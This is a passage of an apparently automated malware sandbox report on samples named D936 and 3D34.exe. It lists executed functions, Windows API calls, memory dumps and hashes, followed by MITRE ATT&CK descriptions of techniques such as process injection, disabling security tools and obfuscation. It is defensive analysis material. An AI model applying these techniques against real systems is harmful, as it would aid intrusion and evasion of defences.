HeapFree.KERNEL32(00000000), ref: 00402F7A

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction ID: 68d3b74a61d8da24685d2c7d21854d87d7e5c343c8b3ec1e3967b08f84d9f298
Opcode Fuzzy Hash: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction Fuzzy Hash: C251E23190020A9FCF01DF64D8889FABB79FF15304F10457AEC95E7290E7769A19CB88

Uniqueness

Uniqueness Score: -1.00%

Function 022B3172, Relevance: 5.2, APIs: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 022B2F71: GetModuleHandleA.KERNEL32(?), ref: 022B2F8A
Part of subcall function 022B2F71: LoadLibraryA.KERNEL32(?), ref: 022B2F9A

GetProcessHeap.KERNEL32(00000000,00000000), ref: 022B31C3
HeapFree.KERNEL32(00000000), ref: 022B31CA

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction ID: 80535ae6cb1d5576b708a39e811a763134dcfacbd66aae4ee71ddd629851d794
Opcode Fuzzy Hash: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction Fuzzy Hash: 3B51B13591024AAFCB02DFA4DC849F977B9FF05344B1445A8EC96C7224E7729A19CB90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 3D34.exe PID: 6404 Parent PID: 3424 3D34.exeCOMMON

Executed Functions

Function 0582AD68, Relevance: 1.7, Strings: 1, Instructions: 422
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 0582B200

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4635acaa15900d0881590cbce251ad7192433c2fd413e781e9e93c85301fce8b
Instruction ID: 173fbfc685a949208f9fbeb6f6ee7f039083c8961d42ee2f10153d51d1814dad
Opcode Fuzzy Hash: 4635acaa15900d0881590cbce251ad7192433c2fd413e781e9e93c85301fce8b
Instruction Fuzzy Hash: 81024A70A04219DFCB19DFA4C499AAE7BB2FF88305F148469E906DB291CB35DC81DF90

Uniqueness

Uniqueness Score: -1.00%

Function 05821528, Relevance: .8, Instructions: 798COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc6a4f6e5f40deeeadada684da26152eba3129470eba589ab81d095e3c146af9
Instruction ID: b1dbaff75f7d42d0c64e4e041effc241d421f88f58c5480bb8fafc72b5088d63
Opcode Fuzzy Hash: fc6a4f6e5f40deeeadada684da26152eba3129470eba589ab81d095e3c146af9
Instruction Fuzzy Hash: D7625874B002199FCB14DF68C598AADBBF2FF88314B258569E906DB365DB30ED81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 017B0767, Relevance: 1.6, APIs: 1, Instructions: 106
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 017B841F

Memory Dump Source

Source File: 00000012.00000002.831867617.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_17b0000_3D34.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f808c468da653cbebe0791da28c2d9b2ff0924d1f4c27f743050022928f8c24d
Instruction ID: a21911de8ae4a4fb30975c0e6ac800bd443ba28b301e32dfff0f0a7b5f9d6b76
Opcode Fuzzy Hash: f808c468da653cbebe0791da28c2d9b2ff0924d1f4c27f743050022928f8c24d
Instruction Fuzzy Hash: 6D4148B0D002588FDB10CFA9C8857DEFBF5EB48314F14812AD855A7395D778A846CF92

Uniqueness

Uniqueness Score: -1.00%

Function 017B0774, Relevance: 1.6, APIs: 1, Instructions: 99
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 017B841F

Memory Dump Source

Source File: 00000012.00000002.831867617.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_17b0000_3D34.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2db5eee694421063999beb580797a00f3d65e6c70691b12de208c9a3b947c0ee
Instruction ID: 68563dfa7c091144783bce28140a88a2e249bba946895f1b2c67a8cfddbd9495
Opcode Fuzzy Hash: 2db5eee694421063999beb580797a00f3d65e6c70691b12de208c9a3b947c0ee
Instruction Fuzzy Hash: 014106B0D006589FDB10CFA9C8857DEFBF5EB48314F14812AE815AB395D778A885CF92

Uniqueness

Uniqueness Score: -1.00%

Function 017B8618, Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 017B868C

Memory Dump Source

Source File: 00000012.00000002.831867617.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_17b0000_3D34.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8f5db49f76ccc0e591a645bbe8ebe365949d24727c7a4415514f20cdf5e4ef4d
Instruction ID: 4a8bc8cbfc9b17ca920fdeea41a435bd5238043afa9048d82a4dfba15878102e
Opcode Fuzzy Hash: 8f5db49f76ccc0e591a645bbe8ebe365949d24727c7a4415514f20cdf5e4ef4d
Instruction Fuzzy Hash: 8811F4B19042499FDB10DFAAC884BDEFBF4BF48324F14842AD519A7240C7789945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0582AD57, Relevance: 1.4, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 0582ADA2

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 813f67e0a8947bdc609f659142864af5ecf56e513a2a83cfac1a10c2e4453963
Instruction ID: b7968bccf6a24412ec707b8c84c7f463630dcc782afe42425dabd01b4a5b7a95
Opcode Fuzzy Hash: 813f67e0a8947bdc609f659142864af5ecf56e513a2a83cfac1a10c2e4453963
Instruction Fuzzy Hash: 1351A075A042599FCB15CF64C484EAEBFF6BF88300F1980A6E945EB251C774ED86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 017B90B8, Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 017B9123

Memory Dump Source

Source File: 00000012.00000002.831867617.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_17b0000_3D34.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 644e23f1ece1a09d81f544fa01e94f54aa0e4476de5f55df20db2e276f5ca252
Instruction ID: 0fcecba0b2cf579f8740496880d516de61d1d5f1a552cb83f8b014aa1edaa5bd
Opcode Fuzzy Hash: 644e23f1ece1a09d81f544fa01e94f54aa0e4476de5f55df20db2e276f5ca252
Instruction Fuzzy Hash: 921107759042489BDB10DFAAC8847DFFBF5AB88324F148419D629A7240C7759544CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05825D90, Relevance: .5, Instructions: 458COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e25c73ee2d98b079f064ddd4b31ae7ea44a9f69eaef8f52af7c5e940d832a237
Instruction ID: 04a41a08d0830577a569c04e330cc0c32582adc0a3dbeb171ef65d002734ddab
Opcode Fuzzy Hash: e25c73ee2d98b079f064ddd4b31ae7ea44a9f69eaef8f52af7c5e940d832a237
Instruction Fuzzy Hash: 77123770B042549FCB19DF69C598A6ABBF2BF88304F148469E906DB3A5DF31EC81DB50

Uniqueness

Uniqueness Score: -1.00%

Function 05821518, Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce3020425d4d60a2f50041f7bd3e91a30b31e13d6913b50bf3287434d10e97e9
Instruction ID: e6baf273d40065db7684da6ad62b686444ff156fd41a854981f0c5ea8bed962d
Opcode Fuzzy Hash: ce3020425d4d60a2f50041f7bd3e91a30b31e13d6913b50bf3287434d10e97e9
Instruction Fuzzy Hash: 71A15B74B002149FDB14DF65D898AAEBBB2FF88310F248169E906DB365DB35DC82CB51

Uniqueness

Uniqueness Score: -1.00%

Function 05820590, Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bb0107dcf855060eb57747a80658e6e35d5af5cb459169eefabcffef42e1c1c
Instruction ID: e8bd15eb6b9c4d05cd282884b37af5598db9221ea2c8ba9ae6bb3324122a0be9
Opcode Fuzzy Hash: 8bb0107dcf855060eb57747a80658e6e35d5af5cb459169eefabcffef42e1c1c
Instruction Fuzzy Hash: 05718D3470431ACFCB24DF29C588A6ABBF2BF94215F14892AD946C7290DB70ED85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05820581, Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4492a0071cbc3b809218fda400cb6a7607bf7b0f7841c632c7f126779172cf0
Instruction ID: 8a50b5b08dd78776b89322633a94151cacc3e1856f076769a57b3f1b772ab6fb
Opcode Fuzzy Hash: a4492a0071cbc3b809218fda400cb6a7607bf7b0f7841c632c7f126779172cf0
Instruction Fuzzy Hash: 8351807460531ACFCB20CF69C588A6ABBF6FF94314F15852AD846C7251DB70ED85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05822510, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f029c436aaea6064a2102f7b6ecc97ac2836b291613d89b57f338ad32a674e94
Instruction ID: b2d07801cabf3d618cacb35e99a181c5a95c61f21ae94a83a7eeacae1f00b308
Opcode Fuzzy Hash: f029c436aaea6064a2102f7b6ecc97ac2836b291613d89b57f338ad32a674e94
Instruction Fuzzy Hash: 1741A0302057458BC324EF29C48165ABBE3EFA0214F458D6DD686CB6A4DBB0FD0A8B91

Uniqueness

Uniqueness Score: -1.00%

Function 0582B560, Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e19efcb60ab40cdd50128ff7ce1484853e883428f0480cc1de25a13a837718c
Instruction ID: 90e9566a13ff1bac7cfdc202966dd522ea2ba1ae16da92f3561b5c5cc475b47f
Opcode Fuzzy Hash: 6e19efcb60ab40cdd50128ff7ce1484853e883428f0480cc1de25a13a837718c
Instruction Fuzzy Hash: B521AE313046149FD714DB29D484A2ABBFBFF88325B258569E909CB361CB31EC81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0582D56D, Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23f2df4edf031d98324afea2a36c21ffe14a132b7ac9b6370176321659ab45cd
Instruction ID: 3c56c741e4ed7e44d324b3b627b74a8bdc3e67061b03569875c8ac576c014d47
Opcode Fuzzy Hash: 23f2df4edf031d98324afea2a36c21ffe14a132b7ac9b6370176321659ab45cd
Instruction Fuzzy Hash: 7B316074F052149FEB14DF24D891AA9B772FF85210F2085D9DC19AB385DB36AE82CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0582CD20, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 928f71064c29297e29af9e09fb6363b841910aa106b1f8b24f95e41d53546835
Instruction ID: 4a4db38f18276627c967831cabcc1a6b88726988b403f62428fcb2c4d6a1bda7
Opcode Fuzzy Hash: 928f71064c29297e29af9e09fb6363b841910aa106b1f8b24f95e41d53546835
Instruction Fuzzy Hash: 0511003570D3A60FC70B6734682102C3FB6999306630945EBD848CF2D7DB169C0683D2

Uniqueness

Uniqueness Score: -1.00%

Function 05826589, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0a534d8e375b7d4467e85f7291d491b98ee27b0fb1dc6bc24a45fcff4a891e7
Instruction ID: c9bf7028358c89c69f88524b4935763d3ee5d8ebbd50c28447b6fb61f2105e65
Opcode Fuzzy Hash: f0a534d8e375b7d4467e85f7291d491b98ee27b0fb1dc6bc24a45fcff4a891e7
Instruction Fuzzy Hash: F211E535A0522ADFCF11CF66D9048AEBFB6FB98200704406AE645D7244EF309D41CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0582655F, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0ee88cef1f2c01182cb25f7fd1480054493123d87ac198fec055388557928a6
Instruction ID: 18d545cbae063b28cb0f8c0766beb3aebd76dce167ba32114456011fb76878c7
Opcode Fuzzy Hash: f0ee88cef1f2c01182cb25f7fd1480054493123d87ac198fec055388557928a6
Instruction Fuzzy Hash: 24012639A041169FCF12CE62DA044BEBFB2FB94181B18806AE542C7249EF30CD42DB91

Uniqueness

Uniqueness Score: -1.00%

Function 05826598, Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb1f940472e14d807e13ec9406992f7fec8f5d87e4d9fc92b992bde075a92883
Instruction ID: 077da06c46984a8813de6b6e6073ae44e8097c0c1ebc4e4044ee54c466ebc036
Opcode Fuzzy Hash: eb1f940472e14d807e13ec9406992f7fec8f5d87e4d9fc92b992bde075a92883
Instruction Fuzzy Hash: 54016135B002199F8F04DF65D9498AEBFF6FF88250B14812AEA05D7254EB309D41CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0582CD11, Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d898dc9c7a5191893cfb63f7158e7297e233fa641e309359d535de24e469df02
Instruction ID: 4c87fed0d1532da390f12abe5a639e23cbede2761cd291eddc86cad612db09f5
Opcode Fuzzy Hash: d898dc9c7a5191893cfb63f7158e7297e233fa641e309359d535de24e469df02
Instruction Fuzzy Hash: 95012631B042151FC314AB74A8126BE7FA6AB92629704857EE80DCF296EB22DD0787C1

Uniqueness

Uniqueness Score: -1.00%

Function 05823DC1, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c86d0b3def6808b0686b222d89d6256c1f5d83bb1815432c8932285b0b1e20d
Instruction ID: 1716b3a452650c9ae2dc0208608fced33b6f03da21c95e5072c34f17658d7afa
Opcode Fuzzy Hash: 6c86d0b3def6808b0686b222d89d6256c1f5d83bb1815432c8932285b0b1e20d
Instruction Fuzzy Hash: 8901F57920C7608FD725CA55E59467ABFA2FB81114F084D6EC886C7691CB79D8CDCB80

Uniqueness

Uniqueness Score: -1.00%

Function 05829D00, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f4f1e2976065e3e747d89803724a79e0a18f954075eef655380ef73a8131ad6
Instruction ID: fa6047d6355696b3b85fc236199de0d8f1911a37f9fc5975ed6ac95be4b6b111
Opcode Fuzzy Hash: 0f4f1e2976065e3e747d89803724a79e0a18f954075eef655380ef73a8131ad6
Instruction Fuzzy Hash: 8701D177B082104FD756CB68E40067ABBA2EBC5221F098066ED09CB351DB35DCC1EB98

Uniqueness

Uniqueness Score: -1.00%

Function 05823D48, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82e1d57bb6c1b51d6f2c85d12bb654b27ee657572b5812a1e3604dc549fd79bc
Instruction ID: f6062e4a791e8121b1773750c91e68087e147294d6c34598523ad91b70371e7d
Opcode Fuzzy Hash: 82e1d57bb6c1b51d6f2c85d12bb654b27ee657572b5812a1e3604dc549fd79bc
Instruction Fuzzy Hash: C8E0D126618FF41DD732557C20143B3BFD95B43164F0C8DAADCCEC1981DA59D94887C0

Uniqueness

Uniqueness Score: -1.00%

Function 0582DD4B, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 434c1c0f4f51649760929cc744792189cca7e52b2a299a27f6e88d83ecb78a69
Instruction ID: 539b1b9c63d57ca5c6cd7fcbb1bcdba43e5fd18e4a2b05498951f4aff0192600
Opcode Fuzzy Hash: 434c1c0f4f51649760929cc744792189cca7e52b2a299a27f6e88d83ecb78a69
Instruction Fuzzy Hash: 36F0BE74B042188BC714DB24C8A4A7EBBBAFF88204F1080A99C0AD7354DF35EE82CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0582E561, Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e32125dc38fc97cb98a1390cc4751a90422e28d8974c30fd841531b15cf997a3
Instruction ID: 18041e1865b4519947addd14be882864d669668b75d0195a9367b69c3c2ab04b
Opcode Fuzzy Hash: e32125dc38fc97cb98a1390cc4751a90422e28d8974c30fd841531b15cf997a3
Instruction Fuzzy Hash: EFE072B0B2C3848BD305973189103B23F33ABD1316F08C1AEC00A8E18AEE3C0C40DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0582E5D0, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89ead6cc5c9ad23ad636241a2b676cd40229238fa084f31265082751fa52edaf
Instruction ID: 6ef6f2f1ed0b8467d9f1563219882be9273df8f6de15bb7ac978c6c122b129d0
Opcode Fuzzy Hash: 89ead6cc5c9ad23ad636241a2b676cd40229238fa084f31265082751fa52edaf
Instruction Fuzzy Hash: 61D0228392E3C90FF312536C94E67E13F12CC3305830A088EC498C7246F888C91BE352

Uniqueness

Uniqueness Score: -1.00%

Function 0582E541, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 375b582a49528610051e198f4ab1729d506ff2c8746abcd7101a8c953f5c5aed
Instruction ID: e946c4538a0557e114fb4daa647e463ca3ade768ecf467098df666e777984cd4
Opcode Fuzzy Hash: 375b582a49528610051e198f4ab1729d506ff2c8746abcd7101a8c953f5c5aed
Instruction Fuzzy Hash: E3B09263508108FFE3442B9AEC4B78EB668A772B18F994010F90C82200FA05A70009A2

Uniqueness

Uniqueness Score: -1.00%

Function 0582E550, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.834215132.0000000005820000.00000040.00000001.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_5820000_3D34.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c5640521bac0d801aee9d693d65bd2c2dd6b3a34296ee0e6a1b3b0e44d7939d
Instruction ID: f9a90859d959d98c6a6e265bc7639f6f6a92597115337922e5f8b8dd3ac9e847
Opcode Fuzzy Hash: 0c5640521bac0d801aee9d693d65bd2c2dd6b3a34296ee0e6a1b3b0e44d7939d
Instruction Fuzzy Hash: CFA0023105860DDB66803BEE794F69FFBACA9947197800451F90D415056F55751049B6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

